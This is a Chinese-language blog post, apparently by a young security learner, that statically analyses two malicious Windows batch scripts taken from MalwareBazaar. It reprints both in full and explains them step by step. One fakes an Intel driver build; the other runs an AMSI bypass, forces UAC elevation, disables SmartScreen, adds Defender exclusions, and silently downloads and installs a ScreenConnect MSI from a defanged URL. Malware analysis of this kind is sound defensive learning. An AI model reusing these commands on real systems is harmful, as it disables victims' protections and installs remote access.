Windows 命令提示符(CMD)恶意脚本分析篇
大家好,你们可以叫我凌,是个16岁的网络安全学习者。
最近我在想,如果就这么草草结束了 Windows 命令提示符(CMD) 的学习并没有什么意思。于是我特地准备了几个硬核的东西,我在 MalwareBazaar 上下载了几个轻量级的恶意 .bat 文件(无任何混淆技术处理),今天就和各位一起来静态分析下。
【郑重说明 · 安全免责声明】
本文系《Windows命令提示符(CMD)恶意脚本分析篇》的技术分享,旨在提升网络安全学习者的代码审计与系统防御能力。
1. 样本来源与使用边界
本文分析的恶意脚本样本(.bat)均来源于公开的威胁情报平台 MalwareBazaar,下载目的仅限于教育研究与静态代码逻辑剖析。
2. 严正声明(核心准则)
本人郑重承诺,本文所有分析工作严格局限于代码层面的静态文本阅读,绝未在任何物理机、虚拟机或沙箱环境中执行、触发或调试(Debug)这些脚本文件。所有代码片段的展示均以“文本字符”形式呈现,不构成任何形式的攻击载荷交付。
3. 脱敏与安全防护
为防范无意识误触,文中所有涉及恶意域名、IP地址、注册表修改项及敏感下载链接的部分,均已进行字符混淆或阻断处理(如将 http:// 替换为 hxxp:// 或将特定字符替换为 [.])。请读者在阅读时保持安全意识,切勿复制文中代码直接在真实环境中运行。
4. 法律合规与责任豁免
本文严格遵守《中华人民共和国网络安全法》及《计算机病毒防治管理办法》的相关规定。所有技术解析仅用于抵御同类威胁,严禁任何组织或个人利用文中技术手段从事非法活动。因不当使用本文代码所引发的一切法律后果,均由行为实施者自行承担,与本文作者及发布平台无关。
特别提示: 安全学习,始于敬畏。静态分析看“术”,防御意识在“心”。请务必将分析环境与宿主机进行物理隔离,且分析完毕后及时销毁样本文件。
普通样本分析
我们先看第一个样本:
SHA256:6b8d7f6cc333d2e89b45821a83f7d2029e8a6cdcb0c92ec1e577dd2158cfa0e9
@echo off title Intel Graphic Driver setlocal set MINGW_ROOT=%~dp0mingw64 set PATH=%MINGW_ROOT%\bin;%PATH% if not exist "%MINGW_ROOT%\bin\g++.exe" ( pause exit /b 1 ) g++ -O2 Intel(R)_HD_Graphic_Driver.cpp -static-libgcc -static-libstdc++ -static -lgdi32 -lwinhttp -lole32 -ladvapi32 -lshell32 -lgdiplus -o Intel(R)_HD_Graphic_Driver.exe if %errorlevel% neq 0 ( pause exit /b %errorlevel% ) start "" Intel(R)_HD_Graphic_Driver.exe timeout /t 2 >nul exit代码分析
我们先看第一部分代码,主要用于伪装与窗口美化。
@echo off title Intel Graphic Driver@echo off :关闭命令回显,让窗口不显示命令原文,只显示输出结果。
title Intel Graphic Driver :把 CMD 窗口的标题栏改成“Intel Graphic Driver”,让用户以为这是英特尔官方的驱动安装程序。
攻击者意图:将窗口标题改成显卡驱动,为了让用户放松警惕。
接着看第二部分代码,主要设置“环境变量”和“搜索路径”。
setlocal set MINGW_ROOT=%~dp0mingw64 set PATH=%MINGW_ROOT%\bin;%PATH%setlocal :开启本地变量环境,后面设置的变量只在当前脚本有效,不会污染系统的全局环境变量。
set MINGW_ROOT=%~dp0mingw64 :%~dp0 表示当前脚本所在的文件夹路径,后面直接拼接 mingw64。如果脚本在 C:\test\,那 MINGW_ROOT 就等于 C:\test\mingw64。
set PATH=...;%PATH% :PATH 是 Windows 的环境变量,它决定了在 CMD 中输入命令时,系统去哪找对应的 .exe。这里把 C:\test\mingw64\bin 插入到 PATH 的最前面,这样系统就会优先去那里找 g++.exe。
攻击者意图:他想调用 g++ 编译器,但没有把 mingw64 安装到系统目录,而是打包在脚本同一目录下。通过修改 PATH,他可以临时“借用”这个编译器。
继续看第三部分代码,主要是用来检查“工具是否齐全”。
if not exist "%MINGW_ROOT%\bin\g++.exe" ( pause exit /b 1 )if not exist xxx :检查xxx文件是否存在。如果 g++.exe 不在 mingw64\bin 里,说明攻击者的工具包不完整。
pause :显示“按任意键继续”,让受害者看到报错,但攻击者设计这个是为了防止脚本静默失败,导致暴露。
exit /b 1 :退出当前脚本,并返回错误码 1。
攻击者意图:一个周全的攻击者会确保自己的工具链完整,如果缺了编译器,整个攻击就失败了,所以不如直接退出,避免后续报错信息暴露更多。
接着看第四部分代码,这是核心攻击攻击动作。
g++ -O2 Intel(R)_HD_Graphic_Driver.cpp -static-libgcc -static-libstdc++ -static -lgdi32 -lwinhttp -lole32 -ladvapi32 -lshell32 -lgdiplus -o Intel(R)_HD_Graphic_Driver.exe这行是最关键的,这里简单讲下,想要详细了解的可以自己额外学习CPP(C++)。
| 部分 | 具体内容 | 解释 |
| 命令 | g++ | C++ 编译器,平时程序员用它把 .cpp 源码编译成 .exe 程序。 |
| 源文件 | Intel(R)_HD_Graphic_Driver.cpp | 攻击者写的恶意 C++ 源码,里面藏着真正的恶意行为(下载木马、键盘记录等)。 |
| 编译参数 | -O2 | 优化等级,让生成的 .exe 运行更快。 |
| -static-libgcc -static-libstdc++ -static | 静态链接,把 C++ 运行库打包进 .exe,这样目标电脑即使没装 C++ 运行环境也能运行。 | |
| -lgdi32 -lwinhttp -lole32 -ladvapi32 -lshell32 -lgdiplus | 链接 Windows 系统库,允许这个程序调用: • gdi32:绘图功能(可做屏幕截图) • winhttp:HTTP 网络请求(可连 C2 服务器) • ole32:COM 组件(可操作 Office 或 WMI) • advapi32:注册表操作、服务控制 • shell32:执行程序、快捷方式 • gdiplus:图像处理 | |
| 输出 | -o Intel(R)_HD_Graphic_Driver.exe | 指定生成的可执行文件名为 Intel(R)_HD_Graphic_Driver.exe,继续伪装成显卡驱动程序。 |
总结这行代码的作用:用攻击者自带的 C++ 编译器,把恶意源码当场编译成一个合法的 Windows 程序,然后伪装成显卡驱动。
接着看第五部分代码,用于编译失败时的处理。
if %errorlevel% neq 0 ( pause exit /b %errorlevel% )%errorlevel% :上一条命令(g++)执行后的返回码。0 表示成功,非 0 表示失败。
neq 0 :不等于 0。如果编译出错,就进入分支。
攻击者意图:如果编译失败(比如源码有语法错误、缺少头文件),脚本就暂停并退出,避免运行一个不完整的恶意程序导致暴露。
继续第六部分代码,用于运行恶意程序并清理
start "" Intel(R)_HD_Graphic_Driver.exe timeout /t 2 >nul exitstart "" :启动一个程序,并让它在后台运行。"" 是窗口标题(空),作用只是保证参数顺序正确。
Intel(R)_HD_Graphic_Driver.exe :上一步刚编译出来的恶意程序。
timeout /t 2 >nul :等待 2 秒,不显示倒计时。让 .exe 有时间启动,然后脚本退出。
exit 退出批处理脚本,整个 CMD 窗口关闭。
攻击流程总结
如图所示:
进阶样本分析
接下来我们看第二个样本,这个样本相比于上个样本功能更多更复杂。
SHA256:31260c37cc442719ac84540f4159dd9d4738575d2ab05e92c751a9b4b5f9b91b
@echo off setlocal EnableExtensions EnableDelayedExpansion :: ============================================= :: AMSI BYPASS (Run before PowerShell) :: ============================================= powershell -WindowStyle Hidden -Command "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" :: ============================================= :: Auto-elevate to Admin (UAC prompt) :: ============================================= net session >nul 2>&1 if %errorlevel% neq 0 ( powershell -WindowStyle Hidden -Command "Start-Process '%~f0' -Verb RunAs" exit /b ) :: ============================================== :: Disable Windows SmartScreen :: ============================================== reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f >nul 2>&1 reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f >nul 2>&1 :: Restart Explorer to apply taskkill /f /im explorer.exe >nul 2>&1 start explorer.exe >nul 2>&1 :: ================================================ :: Add Defender exclusion for TEMP folder :: ================================================ powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%TEMP%' -ErrorAction SilentlyContinue" :: ================================================ :: Download ScreenConnect MSI from your RDP :: ================================================ set "SC_URL=hxxp://xxx/xxx.msi" set "SC_PATH=%TEMP%\WindowsExplorerSupport.msi" powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri '%SC_URL%' -OutFile '%SC_PATH%' -UseBasicParsing" :: Check if download succeeded if not exist "%SC_PATH%" ( echo [ERROR] Download failed. Exiting. pause exit /b ) :: Remove Mark-of-the-Web powershell -WindowStyle Hidden -Command "Unlock-File -Path '%SC_PATH%' -ErrorAction SilentlyContinue" :: Add exclusion for the MSI file powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%SC_PATH%' -ErrorAction SilentlyContinue" :: ================================================ :: Silent MSI installation :: ================================================ msiexec /i "%SC_PATH%" /qn /norestart :: Clean up del "%SC_PATH%" >nul 2>&1 exit代码分析
我们先来看第一部分代码,属于 CMD 脚本的基操。
@echo off setlocal EnableExtensions EnableDelayedExpansion@echo off :echo off 关闭命令回显,@ 让这条命令本身也不显示。
setlocal EnableExtensions EnableDelayedExpansion :
• setlocal 开启本地变量环境,后面的变量只在脚本内有效。
• EnableExtensions 启用 CMD 的高级功能(比如 “ for /f ” 的一些参数),这个默认开启。
• EnableDelayedExpansion :允许在括号 ( ) 内用 !var! 动态读取变量,而不是预编译时的 %var%。
总结:这组命令组合在一起,是编写健壮、稳定批处理脚本的“黄金起手式”,确保后续代码无回显、变量隔离、且循环内能正确读取变化的数值。
接着来看第二部分代码,属于AMSI 绕过。目前 powershell 还未学习,只需要了解作用即可。
powershell -WindowStyle Hidden -Command "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)"作用:让 Windows 自带的 PowerShell 杀毒扫描接口(AMSI)“假装坏掉”,这样后面再跑 PowerShell 就不会被拦截了。
接下来看第三部分代码,这串代码主要用来进行提权的。
net session >nul 2>&1 if %errorlevel% neq 0 ( powershell -WindowStyle Hidden -Command "Start-Process '%~f0' -Verb RunAs" exit /b )net session >nul 2>&1:
| 内容 | 详细解释 |
| net session | 查看当前计算机上有哪些远程用户正在访问你的共享文件夹。只有管理员权限才能执行成功,普通用户执行会直接报错“拒绝访问”。 |
| >nul | 标准输出重定向到黑洞,不显示任何正常信息。 |
| 2>&1 | • 在 CMD 中,1 代表标准输出(STDOUT),2 代表错误输出(STDERR)。 • 2>&1 的意思是:“把错误输出(2)也丢到标准输出(1)所在的地方”。 • 因为前面已经把标准输出(1)指向了 nul,所以错误输出也跟着进了 nul。 • 合在一起的效果:这条命令不管执行成功还是报错,屏幕上什么都看不到,完全静默。 |
if %errorlevel% neq 0:
| 内容 | 详细解释 |
| %errorlevel% | 上一条命令执行完后的返回码。0 表示成功,非 0 表示失败。 |
| neq | Not EQual(不等于)。这是 CMD 数值比较的写法,等价于编程里的 “!=” |
| neq 0 | 如果上一条 “net session” 返回的不是 0,意味着当前脚本没有管理员权限 |
括号内内容讲解:
| 内容 | 详细解释 |
| powershell ... Start-Process '%~f0' -Verb RunAs | 概括:用 PowerShell 重新启动当前脚本(%~f0),并加上“以管理员身份运行”的 flag,触发 UAC 弹窗。 |
| exit /b | 退出当前脚本(低权限版本)。等用户点了 UAC 的“是”,高权限版本会重新跑一遍。 |
%~f0 补充讲解:
- %~dp0是获取脚本所在的文件夹路径(不带文件名)。
- %~f0 是获取当前脚本的完整绝对路径(盘符 + 文件夹 + 文件名 + 扩展名)。
- 这里用 %~f0 是因为 Start-Process 需要一个完整的文件路径来启动。
总结:用于自动检测当前是否拥有管理员权限,如果没有,则通过 PowerShell 以隐藏窗口重新以管理员身份运行当前脚本,并退出原进程;如果已有权限,则正常继续执行后续命令。
下面是第四部分代码,用于关闭 SmartScreen。
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f >nul 2>&1 reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f >nul 2>&1| 参数 | 含义 | 这条命令里的值 |
| reg add | 向注册表写入或修改一个键值。 | 写入两条注册表配置。 |
| "HKLM\..." | 注册表路径。HKLM = HKEY_LOCAL_MACHINE (本机配置,对所有用户生效)。 | 第一条路径是当前版本 Explorer 的设置;第二条是组策略路径。 |
| /v | Value(值名称)。要修改的键值叫什么名字。 | SmartScreenEnabled 和 `EnableSmartScreen。 |
| /t | Type(数据类型)。告诉注册表这个值是什么格式。 | REG_SZ(字符串),REG_DWORD(32位数字)。 |
| /d | Data(数据)。要写入的具体内容。 | Off 和 0,都是“关闭”的意思。 |
| /f | Force(强制)。如果键值已存在,不询问直接覆盖。 | 加了 /f 就不会弹“是否覆盖”的提示。 |
| >nul 2>&1 | 把所有输出都丢进黑洞,静默执行。 | 让修改注册表时不显示“操作成功”的提示,保持隐蔽。 |
总结:第一条关闭 Explorer 级别的 SmartScreen,第二条从组策略层面锁死,防止用户手动重新打开。作用是彻底关闭 Windows 自带的 SmartScreen 安全筛选功能,运行可疑程序或下载文件时不再弹出安全警告。静默执行(>nul 2>&1 屏蔽了所有成功或错误的提示信息)。
我们接着看第五部分代码,作用是重启资源管理器。
taskkill /f /im explorer.exe >nul 2>&1 start explorer.exe >nul 2>&1taskkill /f /im explorer.exe:
| 参数 | 含义 | 详细解释 |
| taskkill | 结束一个正在运行的进程。 | 强制结束资源管理器。 |
| /f | Force(强制)。 | 不加 /f 的话,进程可能因为“拒绝关闭”而结束不了;加 /f 直接暴力终止。 |
| /im | Image Name(映像名称) | 指定要结束的进程名,而不是 PID。 |
| explorer.exe | 进程名。 | 资源管理器(桌面、任务栏、文件管理器)。 |
效果:桌面会闪烁一下,任务栏消失,因为 explorer.exe 被杀了。
start explorer.exe:
| 部分 | 详细解释 |
| start | 启动一个新程序。 |
| explorer.exe | 重新启动资源管理器进程,桌面和任务栏恢复。 |
总结:有些注册表修改(比如 SmartScreen)需要资源管理器重启后才能生效,不重启的话,关闭不会立即应用。所以使用该两行命令进行重启资源管理器。
接下来是第六部分,用于添加 Defender 排除。
powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%TEMP%' -ErrorAction SilentlyContinue"总结:把 %TEMP% 文件夹加入 Windows Defender 的白名单,后面下载到这里的恶意文件不会被扫描和拦截。
下面是第七部分,用于下载恶意文件。
set "SC_URL=hxxp://xxx/xxx.msi" set "SC_PATH=%TEMP%\WindowsExplorerSupport.msi" powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri '%SC_URL%' -OutFile '%SC_PATH%' -UseBasicParsing"代码解释:
- set "SC_URL=..." :定义一个变量,存着恶意下载链接。
- set "SC_PATH=%TEMP%\WindowsExplorerSupport.msi" :定义变量,存着下载后的保存路径。%TEMP% 是系统临时文件夹(C:\Users\用户名\AppData\Local\Temp),伪装成 Windows 更新支持文件。
- powershell部分 :向那个 URL 发起请求,把下载的文件保存到 %SC_PATH%。
总结:静默下载远程MSI文件到临时目录并伪装成系统文件名。
接下来是第八部分,用于下载成功检查。
if not exist "%SC_PATH%" ( echo [ERROR] Download failed. Exiting. pause exit /b )代码解释:
- if not exist :检查文件是否存在。如果不存在,进入括号。
- "%SC_PATH%" :用双引号括起来,防止路径里有空格导致命令截断。
- echo [ERROR]... :打印错误信息。
- pause :暂停脚本,让用户看到错误信息,按任意键才退出。
- exit /b :退出当前脚本,返回错误码 0。
总结:检查下载的MSI文件是否存在,若不存在则提示错误、暂停并退出。
下面是第九部分,用于 移除网络标记 以及 再次加白。
powershell -WindowStyle Hidden -Command "Unlock-File -Path '%SC_PATH%' -ErrorAction SilentlyContinue" powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%SC_PATH%' -ErrorAction SilentlyContinue"总结:第一句是移除下载文件自带的“来自互联网”标记。如果不移除,Windows 运行 MSI 时会弹窗问“你确定要运行来自未知发布者的文件吗?”。
第二句作用是把刚下载的这个 MSI 文件本身也加入 Defender 白名单,双重保险,防止被杀。
接下来是第十段代码,是静默安装 MSI 并清理。
msiexec /i "%SC_PATH%" /qn /norestart del "%SC_PATH%" >nul 2>&1 exitmsiexec /i "%SC_PATH%" /qn /norestart:
| 内容 | 详细解释 |
| msiexec | Windows 自带的 MSI 安装包执行工具。所有 .msi 文件都是由它来安装的。 |
| /i | Install(安装)。告诉 msiexec 是要安装这个包,而不是卸载(/x)或修复(/f)。 |
| "%SC_PATH%" | 要安装的 MSI 文件路径。 |
| /qn | Quiet + No UI(完全静默,不显示任何界面)。用户完全看不到安装进度条,毫无感知。 |
| /norestart | 安装完成后不重启电脑。有些 MSI 安装包会强制要求重启,加上这个就不重启了。 |
del "%SC_PATH%" >nul 2>&1:
| 内容 | 详细解释 |
| del | 删除文件。 |
| "%SC_PATH%" | 删除刚才下载的 MSI 文件。 |
| >nul 2>&1 | 静默删除,即使文件不存在或被占用也不报错,不留下任何痕迹。 |
exit:退出脚本,CMD 窗口关闭。整个过程结束。
总结:MSI 静默安装,完成后删除安装包,最后 exit 返回 msiexec 的退出码。
攻击流程总结
如图所示:
这样子,Windows命令提示符的内容就算是完成了。接下来将是 PowerShell 的学习,我们下次再见。